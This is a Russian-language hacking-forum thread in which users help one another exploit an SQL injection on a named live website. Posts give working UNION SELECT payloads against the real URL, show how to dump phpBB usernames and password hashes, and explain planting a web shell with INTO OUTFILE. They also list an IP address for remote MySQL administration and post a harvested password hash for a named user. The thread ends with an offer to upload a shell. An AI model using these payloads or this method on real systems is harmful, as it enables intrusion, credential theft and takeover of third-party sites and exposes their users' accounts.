Ваши вопросы по уязвимостям.

http://evo.nightspirits.net/indexframe.php?razdel=news&comm=-1'+and+1=2+union+select+1,2,3,4,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),database(),user()),0x71),0x71),6,7,8,9/* кто поможет выудить пасс к мусклу если чо вот удалённый доступ к мусклу http://81.177.9.37:911/administration/mysql/index.php

 

superboys, прав не хватит на чтение mysql.user

 

это в каком сообщение 1 или 2?)

 

Ко второму.
К первому нужны права на чтение файлов.

 

ппц, а чо ещё можно сделать? Кроме как ддосить, крашить и т.д.

 

Оставь как есть или напиши администратору о дырке.

 

можно узнать пароль админа на форуме
потом через форум можно залить шелл .. и будет тебе счастье

попробуй такие идеи
http://evo.nightspirits.net/indexframe.php?razdel=news&comm=-1'+and+1=2+union+select+1,2,3,4,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),database(),user()),0x71),0x71),6,7,8,9/*

это для технической информации

также можешь узнать пароль и имена пользователей
таблица
phpbb_users
поля
username
user_password

 

может кто показать , как заливают фаил через load_file() в скл инъекции .

 

Вот отличная статья, там все написано https://forum.antichat.ru/showthread.php?t=19605
Смотри пункт
4)Получить шелл


Ах да, файл НЕ заливают через LOAD_FILE() его читают. А заливают через into+outfile+'/ПУТЬ/ИМЯ_ФАЙЛА'

 

спасибо , почитаю.
А ИМЯ_ФАЙЛА(путь) на моем компе , или на его? и заливается , то куда?

 

тут 4 версия мы можем только подобрать таблицы. information_schema.tables есть только в 5 версии и выше

 

по твоей подсказке сделал такой запрос http://evo.nightspirits.net/indexframe.php?razdel=news&comm=1'+and+1=2+union+select+1,2,3,4,username,user_password,7,8,9+from+phpbb_users/* но почемут не видно данных базы.

 

скорей сего шифрование _ пробывал с декриптом ваще ошибка(

 

hex, aes_encrypt

 

Юзай лимит Х,Х
http://evo.nightspirits.net/indexframe.php?razdel=news&comm=1'+and+1=2+union+select+1,2,3,4,username,user_password,7,8,9+from+phpbb_users+limit+1,1/*

 

да хоть бы показал синтаксис)

 

спс Ред_Ред1

 

а маны кто будет читать ?

 

в манах такого нет) Да ужо всё наашёл хэш Lupo:b7dba5a1bc3605a87b59ac8147512c97

 

piton;526635

дай форум залью шелл )